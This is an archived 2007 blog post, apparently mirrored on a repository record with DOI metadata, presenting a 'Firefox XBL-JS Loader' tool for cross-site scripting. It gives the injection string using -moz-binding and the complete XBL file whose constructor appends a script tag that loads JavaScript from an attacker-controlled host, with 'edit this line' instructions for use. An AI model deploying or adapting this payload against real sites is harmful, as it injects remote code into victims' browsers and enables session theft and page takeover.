Firefox XBL-JS Loader v1.0
Today I wrote a simple tool to illustrate the binding of a Javascript document to a page using Firefox's XBL support (-moz-binding) in an XSS context.
The process works as follows:
- Inject attributes as follows (different encodings may be necessary): <element style = "-moz-binding:url('http://site.com/STXSS_XBL.xml#loader');" />.
- Browser loads XBL document.
- XBL document modifies DOM to include <script src="evil_script.js"/>.
- Browser loads and parses Javascript.
The required XBL document (STXSS_XBL.xml) is as follows:
<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl">
<binding id="loader">
<implementation>
<constructor>
<![CDATA[
//This is the STXSS XBL Loader
//Edit this line to the URL of the STXSS Javascript
var url = "http://www.your-site.com/STXSS_JS.js";
//Do not edit below this line
var scr = document.createElement("script");
scr.setAttribute("src",url);
var bodyElement = document.getElementsByTagName("html").item(0);
bodyElement.appendChild(scr);
]]>
</constructor>
</implementation>
</binding>
</bindings>Firefox XBL-JS Loader v1.0 was originally published by Martin Paul Eve at eve.gd: Martin Paul Eve on May 15, 2007.
Files
10.59348_2h3ng-xtv52.pdf
Files
(110.6 kB)
| Name | Size | Download all |
|---|---|---|
|
md5:a8626554d1a493ba30a661a6c8267342
|
110.6 kB | Preview Download |
Additional details
Description
Today I wrote a simple tool to illustrate the binding of a Javascript document to a page using Firefox's XBL support (-moz-binding) in an XSS context. The process works as follows: Inject attributes as follows (different encodings may be necessary): . Browser loads XBL document.
Identifiers
- GUID
- https://doi.org/10.59348/2h3ng-xtv52
- URL
- https://eve.gd/2007/05/15/firefox-xbl-js-loader-v1-0/
Dates
- Issued
-
2007-05-15T00:00:00Z
- Updated
-
2007-05-15T11:41:55Z